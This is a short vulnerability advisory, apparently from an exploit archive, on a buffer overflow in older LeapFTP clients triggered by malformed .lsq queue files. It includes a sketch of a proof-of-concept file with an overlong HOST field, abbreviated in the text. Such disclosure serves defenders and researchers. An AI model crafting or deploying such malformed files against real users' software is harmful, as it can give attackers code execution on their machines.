source: http://www.securityfocus.com/bid/14655/info

LeapFTP client is prone to a remote buffer overflow vulnerability.

The issue arises when the client handles a malformed LeapFTP Site Queue (.lsq) file.

A remote attacker may gain unauthorized access in the context of the user running the application.

LeapFTP versions prior to 2.7.6.612 are affected by this vulnerability.

//bof.lsq

[HOSTINFO]
HOST=AAAAA...[ long string ]...AAAAA
USER=username
PASS=password

[FILES]
"1","/winis/ApiList.zip","477,839","E:\ApiList.zip"